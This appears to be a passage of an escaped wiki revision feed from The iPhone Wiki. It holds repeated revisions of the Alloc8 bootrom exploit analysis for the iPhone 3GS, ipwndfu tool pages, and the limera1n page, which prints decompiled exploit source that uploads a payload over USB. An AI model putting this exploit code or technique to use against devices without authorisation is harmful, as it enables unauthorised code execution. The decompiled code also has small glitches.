&lt;br /&gt;
This gives us the ability to write arbitrary data over data in the exception vector table and additional data which is located after it. We will flash a copy of 4096 bytes of data from bootrom to NOR and override the pointer to data abort exception handler, effectively using this primitive to override 4 bytes in the exception vector table in memory and keep everything else the same.&lt;br /&gt;
&lt;br /&gt;
Once reading from NOR is complete, bootrom attempts to free the temporary buffer at memory address 0x8. 8 bytes located immediately before allocated memory are used for heap metadata, but for this bad pointer the metadata is invalid. This leads to a bad memory access in function free, which triggers a data abort exception and the processor jumps to our shellcode.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Shellcode==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First 52 bytes of NOR contain an IMG2 header with NOR metadata that should not be changed. Before bootrom starts parsing images in NOR, the first 512 bytes of NOR are copied to memory allocated on the heap, but only 52 bytes are actually used. The remaining 460 bytes are unused and can be safely used for shellcode. Memory address where this data gets allocated is always the same.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Post Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;To clean up, shellcode returns from exception, sets a new stack top, restores the original pointer for data abort handler, and frees 44-byte structures which are occupying most of the heap, leaving only the one required for normal boot, LLB.&lt;br /&gt;
&lt;br /&gt;
At this point, shellcode can continue booting an unsigned LLB image from NOR or go to pwned DFU Mode and boot an unsigned image sent over USB.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57022</id>
		<title>Alloc8 Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57022"/>
		<updated>2017-04-11T23:35:08Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''alloc8 exploit''' is a [[bootrom]] exploit used to run unsigned code (and thereby jailbreak) the [[N88AP|iPhone 3GS]]. It is the first public untethered bootrom exploit for the '''new bootrom''' [[N88AP|iPhone 3GS]], and was first used in the [[ipwndfu]] tool by '''axi0mX''', making '''untethered''' downgrades possible on the aforementioned device. It is the final publicly disclosed bootrom exploit of any device, and has a basis in [[User:Geohot|geohot]]'s [[limera1n exploit]].&lt;br /&gt;
&lt;br /&gt;
'''axi0mX''' himself has produced a detailed analysis of this exploit, originally found at https://github.com/axi0mX/alloc8.&lt;br /&gt;
&lt;br /&gt;
==Vulnerability==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;This is not a typical heap bug. This is a bug in implementation of the heap itself.&lt;br /&gt;
&lt;br /&gt;
void *malloc(size_t size);&lt;br /&gt;
&lt;br /&gt;
In C programming language, function malloc should return NULL if it is unable to allocate memory of the requested size. Caller should check if returned pointer is NULL and handle the error:&lt;br /&gt;
&lt;br /&gt;
void *pointer = malloc(size);&lt;br /&gt;
&lt;br /&gt;
if (pointer == NULL) {&lt;br /&gt;
	// handle error&lt;br /&gt;
} else {&lt;br /&gt;
	// pointer is valid, continue&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
In S5L8920 bootrom (and some very old versions of iBoot) function malloc is not implemented correctly. When it is unable to allocate memory, instead of NULL it returns a pointer to memory address 0x8. Callers check if returned pointer is NULL and then treat that pointer as valid.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First, we must be able to allocate enough data on the heap to make it run out of memory. Apple seems to have done a good job in reducing the attack surface of the bootrom, and it is far from certain that this can be achieved.&lt;br /&gt;
&lt;br /&gt;
There seems to be only a single way to fill up the heap during a normal boot. If we add additional IMG3 images to NOR, bootrom will parse all of them and allocate a 44-byte structure on the heap for each image. However, only the first image, LLB, needs to be parsed, because bootrom never uses any other image from NOR. Although this is not a vulnerability by itself, Apple changed this behavior later, in S5L8930 bootrom, and it no longer seems to be possible to fill up the heap in bootrom during normal boot.&lt;br /&gt;
&lt;br /&gt;
Second, once the heap is full, we must be able to use the pointer(s) to memory address 0x8 for reading or writing in a way that gets us arbitrary code execution before any panic or fatal memory corruption occurs.&lt;br /&gt;
&lt;br /&gt;
On ARMv7 processors, the exception vector table is located at memory address 0x0. The exception vector table contains critical instructions and data used for handling exceptions. Corrupting this exception vector table is a technique commonly used for exploits on ARMv7 processors. &lt;br /&gt;
&lt;br /&gt;
Although the exception vector table in bootrom comes from read-only memory, the exception vector table data is cached in L1 data cache, and it is possible to change behavior of the exception vector table by overwriting this data. Overwriting instructions has no effect, because instructions are cached separately in L1 instruction cache, and writes to memory are cached in L1 data cache, not L1 instruction cache.&lt;br /&gt;
&lt;br /&gt;
This data contains pointers to exception handlers used by bootrom, and changing any of these pointers to address of our shellcode makes the processor jump to our shellcode when that exception occurs.&lt;br /&gt;
&lt;br /&gt;
When bootrom is parsing IMG3 images from NOR, it reads 4096 bytes of data from NOR at a time into a temporary buffer. When there is a large number of IMG3 images in NOR, this temporary buffer is the first one which cannot be allocated on the heap, and it gets allocated at memory address 0x8. At that point, 4096 bytes of data from NOR, which we have full control over, gets copied to memory starting at memory address 0x8.&lt;br /&gt;
&lt;br /&gt;
This gives us the ability to write arbitrary data over data in the exception vector table and additional data which is located after it. We will flash a copy of 4096 bytes of data from bootrom to NOR and override the pointer to data abort exception handler, effectively using this primitive to override 4 bytes in the exception vector table in memory and keep everything else the same.&lt;br /&gt;
&lt;br /&gt;
Once reading from NOR is complete, bootrom attempts to free the temporary buffer at memory address 0x8. 8 bytes located immediately before allocated memory are used for heap metadata, but for this bad pointer the metadata is invalid. This leads to a bad memory access in function free, which triggers a data abort exception and the processor jumps to our shellcode.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Shellcode==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First 52 bytes of NOR contain an IMG2 header with NOR metadata that should not be changed. Before bootrom starts parsing images in NOR, the first 512 bytes of NOR are copied to memory allocated on the heap, but only 52 bytes are actually used. The remaining 460 bytes are unused and can be safely used for shellcode. Memory address where this data gets allocated is always the same.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Post Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;To clean up, shellcode returns from exception, sets a new stack top, restores the original pointer for data abort handler, and frees 44-byte structures which are occupying most of the heap, leaving only the one required for normal boot, LLB.&lt;br /&gt;
&lt;br /&gt;
At this point, shellcode can continue booting an unsigned LLB image from NOR or go to pwned DFU Mode and boot an unsigned image sent over USB.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57021</id>
		<title>Alloc8 Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57021"/>
		<updated>2017-04-11T23:34:30Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''alloc8 exploit''' is a [[bootrom]] exploit used to run unsigned code (and thereby jailbreak) the [[N88AP|iPhone 3GS]]. It is the first public untethered bootrom exploit for the '''new bootrom''' [[N88AP|iPhone 3GS]], and was first used in the [[ipwndfu]] tool by '''axi0mX''', making '''untethered''' downgrades possible on the aforementioned device. It is the final publicly disclosed bootrom exploit of any device, and is partially based on [[User:Geohot|geohot]]'s [[limera1n exploit]].&lt;br /&gt;
&lt;br /&gt;
'''axi0mX''' himself has produced a detailed analysis of this exploit, originally found at https://github.com/axi0mX/alloc8.&lt;br /&gt;
&lt;br /&gt;
==Vulnerability==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;This is not a typical heap bug. This is a bug in implementation of the heap itself.&lt;br /&gt;
&lt;br /&gt;
void *malloc(size_t size);&lt;br /&gt;
&lt;br /&gt;
In C programming language, function malloc should return NULL if it is unable to allocate memory of the requested size. Caller should check if returned pointer is NULL and handle the error:&lt;br /&gt;
&lt;br /&gt;
void *pointer = malloc(size);&lt;br /&gt;
&lt;br /&gt;
if (pointer == NULL) {&lt;br /&gt;
	// handle error&lt;br /&gt;
} else {&lt;br /&gt;
	// pointer is valid, continue&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
In S5L8920 bootrom (and some very old versions of iBoot) function malloc is not implemented correctly. When it is unable to allocate memory, instead of NULL it returns a pointer to memory address 0x8. Callers check if returned pointer is NULL and then treat that pointer as valid.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First, we must be able to allocate enough data on the heap to make it run out of memory. Apple seems to have done a good job in reducing the attack surface of the bootrom, and it is far from certain that this can be achieved.&lt;br /&gt;
&lt;br /&gt;
There seems to be only a single way to fill up the heap during a normal boot. If we add additional IMG3 images to NOR, bootrom will parse all of them and allocate a 44-byte structure on the heap for each image. However, only the first image, LLB, needs to be parsed, because bootrom never uses any other image from NOR. Although this is not a vulnerability by itself, Apple changed this behavior later, in S5L8930 bootrom, and it no longer seems to be possible to fill up the heap in bootrom during normal boot.&lt;br /&gt;
&lt;br /&gt;
Second, once the heap is full, we must be able to use the pointer(s) to memory address 0x8 for reading or writing in a way that gets us arbitrary code execution before any panic or fatal memory corruption occurs.&lt;br /&gt;
&lt;br /&gt;
On ARMv7 processors, the exception vector table is located at memory address 0x0. The exception vector table contains critical instructions and data used for handling exceptions. Corrupting this exception vector table is a technique commonly used for exploits on ARMv7 processors. &lt;br /&gt;
&lt;br /&gt;
Although the exception vector table in bootrom comes from read-only memory, the exception vector table data is cached in L1 data cache, and it is possible to change behavior of the exception vector table by overwriting this data. Overwriting instructions has no effect, because instructions are cached separately in L1 instruction cache, and writes to memory are cached in L1 data cache, not L1 instruction cache.&lt;br /&gt;
&lt;br /&gt;
This data contains pointers to exception handlers used by bootrom, and changing any of these pointers to address of our shellcode makes the processor jump to our shellcode when that exception occurs.&lt;br /&gt;
&lt;br /&gt;
When bootrom is parsing IMG3 images from NOR, it reads 4096 bytes of data from NOR at a time into a temporary buffer. When there is a large number of IMG3 images in NOR, this temporary buffer is the first one which cannot be allocated on the heap, and it gets allocated at memory address 0x8. At that point, 4096 bytes of data from NOR, which we have full control over, gets copied to memory starting at memory address 0x8.&lt;br /&gt;
&lt;br /&gt;
This gives us the ability to write arbitrary data over data in the exception vector table and additional data which is located after it. We will flash a copy of 4096 bytes of data from bootrom to NOR and override the pointer to data abort exception handler, effectively using this primitive to override 4 bytes in the exception vector table in memory and keep everything else the same.&lt;br /&gt;
&lt;br /&gt;
Once reading from NOR is complete, bootrom attempts to free the temporary buffer at memory address 0x8. 8 bytes located immediately before allocated memory are used for heap metadata, but for this bad pointer the metadata is invalid. This leads to a bad memory access in function free, which triggers a data abort exception and the processor jumps to our shellcode.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Shellcode==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First 52 bytes of NOR contain an IMG2 header with NOR metadata that should not be changed. Before bootrom starts parsing images in NOR, the first 512 bytes of NOR are copied to memory allocated on the heap, but only 52 bytes are actually used. The remaining 460 bytes are unused and can be safely used for shellcode. Memory address where this data gets allocated is always the same.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Post Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;To clean up, shellcode returns from exception, sets a new stack top, restores the original pointer for data abort handler, and frees 44-byte structures which are occupying most of the heap, leaving only the one required for normal boot, LLB.&lt;br /&gt;
&lt;br /&gt;
At this point, shellcode can continue booting an unsigned LLB image from NOR or go to pwned DFU Mode and boot an unsigned image sent over USB.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Ipwndfu&amp;diff=57020</id>
		<title>Ipwndfu</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Ipwndfu&amp;diff=57020"/>
		<updated>2017-04-11T23:33:46Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
{{infobox software&lt;br /&gt;
| name                   = ipwndfu&lt;br /&gt;
| title                  = ipwndfu&lt;br /&gt;
| author                 = axi0mX&lt;br /&gt;
| developer              = axi0mX&lt;br /&gt;
| released               = {{start date and age|2017|04|11}}&lt;br /&gt;
| discontinued           = &lt;br /&gt;
| latest release version = 1.0&lt;br /&gt;
| latest release date    = {{start date and age|2017|04|11}}&lt;br /&gt;
| operating system       = [[wikipedia:OS X|OS X]] / [[wikipedia:Linux|Linux]]&lt;br /&gt;
| language               = [[wikipedia:English|English]]&lt;br /&gt;
| status                 = Active&lt;br /&gt;
| genre                  = Jailbreaking&lt;br /&gt;
| license                = [[wikipedia:Freeware|Freeware]]&lt;br /&gt;
| website                = [https://github.com/axi0mX/ipwndfu/ GitHub]&lt;br /&gt;
}}&lt;br /&gt;
'''ipwndfu''' is '''axi0mX''''s [[jailbreak]] utility. It uses the [[alloc8 Exploit]] to achieve an [[untethered jailbreak]] on the [[N88AP|iPhone 3GS]].&lt;br /&gt;
&lt;br /&gt;
==Dependencies==&lt;br /&gt;
* libusb&lt;br /&gt;
* pyusb&lt;br /&gt;
&lt;br /&gt;
==Credit==&lt;br /&gt;
* '''[[User:Geohot|geohot]]''' - [[limera1n exploit]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== External Links ==&lt;br /&gt;
* [https://github.com/axi0mX/ipwndfu/ Official GitHub repository] &lt;br /&gt;
&lt;br /&gt;
[[Category:Hacking Software]]&lt;br /&gt;
[[Category:Jailbreaks]]&lt;br /&gt;
[[Category:Jailbreaking]]&lt;br /&gt;
[[Category:Downgrades]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57019</id>
		<title>Alloc8 Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57019"/>
		<updated>2017-04-11T23:29:45Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''alloc8 exploit''' is the [[bootrom]] exploit used to run unsigned code (and thereby jailbreak) the [[N88AP|iPhone 3GS]]. It is the first public untethered bootrom exploit for the '''new bootrom''' [[N88AP|iPhone 3GS]], and was first used in the [[ipwndfu]] tool by '''axi0mX''', making '''untethered''' downgrades possible on the aforementioned device. It is the final publicly disclosed bootrom exploit of any device, and is partially based on [[User:Geohot|geohot]]'s [[limera1n exploit]].&lt;br /&gt;
&lt;br /&gt;
'''axi0mX''' himself has produced a detailed analysis of this exploit, originally found at https://github.com/axi0mX/alloc8.&lt;br /&gt;
&lt;br /&gt;
==Vulnerability==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;This is not a typical heap bug. This is a bug in implementation of the heap itself.&lt;br /&gt;
&lt;br /&gt;
void *malloc(size_t size);&lt;br /&gt;
&lt;br /&gt;
In C programming language, function malloc should return NULL if it is unable to allocate memory of the requested size. Caller should check if returned pointer is NULL and handle the error:&lt;br /&gt;
&lt;br /&gt;
void *pointer = malloc(size);&lt;br /&gt;
&lt;br /&gt;
if (pointer == NULL) {&lt;br /&gt;
	// handle error&lt;br /&gt;
} else {&lt;br /&gt;
	// pointer is valid, continue&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
In S5L8920 bootrom (and some very old versions of iBoot) function malloc is not implemented correctly. When it is unable to allocate memory, instead of NULL it returns a pointer to memory address 0x8. Callers check if returned pointer is NULL and then treat that pointer as valid.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First, we must be able to allocate enough data on the heap to make it run out of memory. Apple seems to have done a good job in reducing the attack surface of the bootrom, and it is far from certain that this can be achieved.&lt;br /&gt;
&lt;br /&gt;
There seems to be only a single way to fill up the heap during a normal boot. If we add additional IMG3 images to NOR, bootrom will parse all of them and allocate a 44-byte structure on the heap for each image. However, only the first image, LLB, needs to be parsed, because bootrom never uses any other image from NOR. Although this is not a vulnerability by itself, Apple changed this behavior later, in S5L8930 bootrom, and it no longer seems to be possible to fill up the heap in bootrom during normal boot.&lt;br /&gt;
&lt;br /&gt;
Second, once the heap is full, we must be able to use the pointer(s) to memory address 0x8 for reading or writing in a way that gets us arbitrary code execution before any panic or fatal memory corruption occurs.&lt;br /&gt;
&lt;br /&gt;
On ARMv7 processors, the exception vector table is located at memory address 0x0. The exception vector table contains critical instructions and data used for handling exceptions. Corrupting this exception vector table is a technique commonly used for exploits on ARMv7 processors. &lt;br /&gt;
&lt;br /&gt;
Although the exception vector table in bootrom comes from read-only memory, the exception vector table data is cached in L1 data cache, and it is possible to change behavior of the exception vector table by overwriting this data. Overwriting instructions has no effect, because instructions are cached separately in L1 instruction cache, and writes to memory are cached in L1 data cache, not L1 instruction cache.&lt;br /&gt;
&lt;br /&gt;
This data contains pointers to exception handlers used by bootrom, and changing any of these pointers to address of our shellcode makes the processor jump to our shellcode when that exception occurs.&lt;br /&gt;
&lt;br /&gt;
When bootrom is parsing IMG3 images from NOR, it reads 4096 bytes of data from NOR at a time into a temporary buffer. When there is a large number of IMG3 images in NOR, this temporary buffer is the first one which cannot be allocated on the heap, and it gets allocated at memory address 0x8. At that point, 4096 bytes of data from NOR, which we have full control over, gets copied to memory starting at memory address 0x8.&lt;br /&gt;
&lt;br /&gt;
This gives us the ability to write arbitrary data over data in the exception vector table and additional data which is located after it. We will flash a copy of 4096 bytes of data from bootrom to NOR and override the pointer to data abort exception handler, effectively using this primitive to override 4 bytes in the exception vector table in memory and keep everything else the same.&lt;br /&gt;
&lt;br /&gt;
Once reading from NOR is complete, bootrom attempts to free the temporary buffer at memory address 0x8. 8 bytes located immediately before allocated memory are used for heap metadata, but for this bad pointer the metadata is invalid. This leads to a bad memory access in function free, which triggers a data abort exception and the processor jumps to our shellcode.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Shellcode==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First 52 bytes of NOR contain an IMG2 header with NOR metadata that should not be changed. Before bootrom starts parsing images in NOR, the first 512 bytes of NOR are copied to memory allocated on the heap, but only 52 bytes are actually used. The remaining 460 bytes are unused and can be safely used for shellcode. Memory address where this data gets allocated is always the same.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Post Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;To clean up, shellcode returns from exception, sets a new stack top, restores the original pointer for data abort handler, and frees 44-byte structures which are occupying most of the heap, leaving only the one required for normal boot, LLB.&lt;br /&gt;
&lt;br /&gt;
At this point, shellcode can continue booting an unsigned LLB image from NOR or go to pwned DFU Mode and boot an unsigned image sent over USB.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Limera1n_Exploit&amp;diff=57018</id>
		<title>Limera1n Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Limera1n_Exploit&amp;diff=57018"/>
		<updated>2017-04-11T23:12:17Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''limera1n exploit''' is the [[bootrom]] and [[iBoot (Bootloader)|iBoot]] exploit used to run unsigned code (and thereby jailbreak) the [[N18AP|iPod touch 3rd Generation]], the [[N88AP|iPhone 3GS]] and all [[S5L8930|A4]]-based devices. First used in the [[limera1n]] tool by [[User:geohot|geohot]], it can perform a [[tethered jailbreak]] on the aforementioned devices. The jailbreak can then be turned into an [[untethered jailbreak]] with other exploits, such as the [[0x24000 Segment Overflow]] or the [[Packet Filter Kernel Exploit]]. &lt;br /&gt;
&lt;br /&gt;
limera1n was the final publicly disclosed bootrom exploit until the disclosure of the [[alloc8 Exploit]] in April 2017, although the [[alloc8 Exploit]] has a basis in limera1n. The last device released vulnerable to limera1n is the [[N90BAP|iPhone 4 (iPhone3,2)]], and it remains to be the only publicly disclosed bootrom exploit for this device.&lt;br /&gt;
&lt;br /&gt;
==Source Code==&lt;br /&gt;
 signed int __cdecl upload_exploit() {&lt;br /&gt;
     int device_type;&lt;br /&gt;
     signed int payload_address;&lt;br /&gt;
     int free_address;&lt;br /&gt;
     int deviceerror;&lt;br /&gt;
     char *chunk_headers_ptr;&lt;br /&gt;
     unsigned int sent_counter;&lt;br /&gt;
     //int v6;&lt;br /&gt;
     signed int result; &lt;br /&gt;
     //signed int v8;&lt;br /&gt;
     int recv_error_code;&lt;br /&gt;
     signed int payload_address2;&lt;br /&gt;
     signed int padding_size;&lt;br /&gt;
     char payload;&lt;br /&gt;
     char chunk_headers;&lt;br /&gt;
     //int v14;&lt;br /&gt;
     //v14 = *MK_FP(__GS__, 20);&lt;br /&gt;
     device_type = *(_DWORD *)(device + 16);&lt;br /&gt;
 &lt;br /&gt;
     if ( device_type == 8930 ) {&lt;br /&gt;
         padding_size = 0x2A800;&lt;br /&gt;
         payload_address = 0x8402B001;&lt;br /&gt;
         free_address = 0x8403BF9C;&lt;br /&gt;
     } else {&lt;br /&gt;
         payload_address = 0x84023001;&lt;br /&gt;
         padding_size = 0x22800;&lt;br /&gt;
         // free_address = (((device_type == 8920) – 1) &amp;amp; 0xFFFFFFF4) – 0x7BFCC05C;&lt;br /&gt;
         if(device_type == 8920) free_address = 0x84033FA4;&lt;br /&gt;
            else free_address = 84033F98;&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     memset(&amp;amp;payload, 0, 0x800);&lt;br /&gt;
     memcpy(&amp;amp;payload, exploit, 0x230);&lt;br /&gt;
 &lt;br /&gt;
     if (libpois0n_debug) {&lt;br /&gt;
         //v8 = payload_address;&lt;br /&gt;
         fprintf(stderr, 1, &amp;quot;Resetting device counters\n&amp;quot;);&lt;br /&gt;
         //payload_address = v8;&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     payload_address2 = payload_address;&lt;br /&gt;
     deviceerror = irecv_reset_counters(client);&lt;br /&gt;
 &lt;br /&gt;
     if ( deviceerror ) {&lt;br /&gt;
         irecv_strerror(deviceerror);&lt;br /&gt;
         fprintf(stderr, 1, &amp;amp;aCannotFindS[12]);&lt;br /&gt;
         result = -1;&lt;br /&gt;
     } else {&lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xCC, 0x800);&lt;br /&gt;
         chunk_headers_ptr = &amp;amp;chunk_headers;&lt;br /&gt;
 &lt;br /&gt;
         do {&lt;br /&gt;
             *(_DWORD *)chunk_headers_ptr = 1029;       &lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 1) = 257;&lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 2) = payload_address2;  &lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 3) = free_address;&lt;br /&gt;
             chunk_headers_ptr += 64;&lt;br /&gt;
         } while ((int *)chunk_headers_ptr != &amp;amp;v14);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending chunk headers\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         sent_counter = 0;&lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xCC, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         do {&lt;br /&gt;
             sent_counter += 0x800;&lt;br /&gt;
             irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         } while (sent_counter &amp;lt; padding_size);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending exploit payload\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;payload, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending fake data\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xBB, 0x800);&lt;br /&gt;
         irecv_control_transfer(client, 0xA1, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
         fprintf(stderr, 1, &amp;quot;Executing exploit\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         irecv_control_transfer(client, 0x21, 2, 0, 0, &amp;amp;chunk_headers, 0);&lt;br /&gt;
         irecv_reset(client);&lt;br /&gt;
         irecv_finish_transfer(client);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug) {&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Exploit sent\n&amp;quot;);&lt;br /&gt;
             if (libpois0n_debug)&lt;br /&gt;
                 fprintf(stderr, 1, &amp;quot;Reconnecting to device\n&amp;quot;);&lt;br /&gt;
         }&lt;br /&gt;
 &lt;br /&gt;
         client = (void *)irecv_reconnect(client, 2);&lt;br /&gt;
 &lt;br /&gt;
         if (client) {&lt;br /&gt;
             result = 0;&lt;br /&gt;
         } else {&lt;br /&gt;
             if (libpois0n_debug) {&lt;br /&gt;
                 recv_error_code = irecv_strerror(0);&lt;br /&gt;
                 fprintf(stderr, 1, &amp;amp;aCannotFindS[12], recv_error_code);&lt;br /&gt;
             }&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Unable to reconnect\n&amp;quot;);&lt;br /&gt;
             result = -1;&lt;br /&gt;
         }&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     // compiler stack check&lt;br /&gt;
     //if (*MK_FP(__GS__, 20) != v14)&lt;br /&gt;
     //    __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);&lt;br /&gt;
 &lt;br /&gt;
     return result;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Ipwndfu&amp;diff=57017</id>
		<title>Ipwndfu</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Ipwndfu&amp;diff=57017"/>
		<updated>2017-04-11T22:58:18Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: Created page with &amp;quot;{{lowercase}} {{infobox software | name                   = ipwndfu | title                  = ipwndfu | author                 = axi0mX | developer              = axi0mX | re...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
{{infobox software&lt;br /&gt;
| name                   = ipwndfu&lt;br /&gt;
| title                  = ipwndfu&lt;br /&gt;
| author                 = axi0mX&lt;br /&gt;
| developer              = axi0mX&lt;br /&gt;
| released               = {{start date and age|2017|04|11}}&lt;br /&gt;
| discontinued           = &lt;br /&gt;
| latest release version = 1.0&lt;br /&gt;
| latest release date    = {{start date and age|2017|04|11}}&lt;br /&gt;
| operating system       = [[wikipedia:OS X|OS X]] / [[wikipedia:Linux|Linux]]&lt;br /&gt;
| language               = [[wikipedia:English|English]]&lt;br /&gt;
| status                 = Active&lt;br /&gt;
| genre                  = Jailbreaking&lt;br /&gt;
| license                = [[wikipedia:Freeware|Freeware]]&lt;br /&gt;
| website                = [https://github.com/axi0mX/ipwndfu/ GitHub]&lt;br /&gt;
}}&lt;br /&gt;
'''ipwndfu''' is '''axi0mX''''s [[jailbreak]] utility. It uses the [[alloc8 Exploit]] to achieve an [[untethered jailbreak]] on the [[N88AP|iPhone 3GS]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Credit ==&lt;br /&gt;
* '''[[User:Geohot|geohot]]''' - [[limera1n exploit]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== External Links ==&lt;br /&gt;
* [https://github.com/axi0mX/ipwndfu/ Official GitHub repository] &lt;br /&gt;
&lt;br /&gt;
[[Category:Hacking Software]]&lt;br /&gt;
[[Category:Jailbreaks]]&lt;br /&gt;
[[Category:Jailbreaking]]&lt;br /&gt;
[[Category:Downgrades]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57016</id>
		<title>Alloc8 Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57016"/>
		<updated>2017-04-11T22:48:14Z</updated>

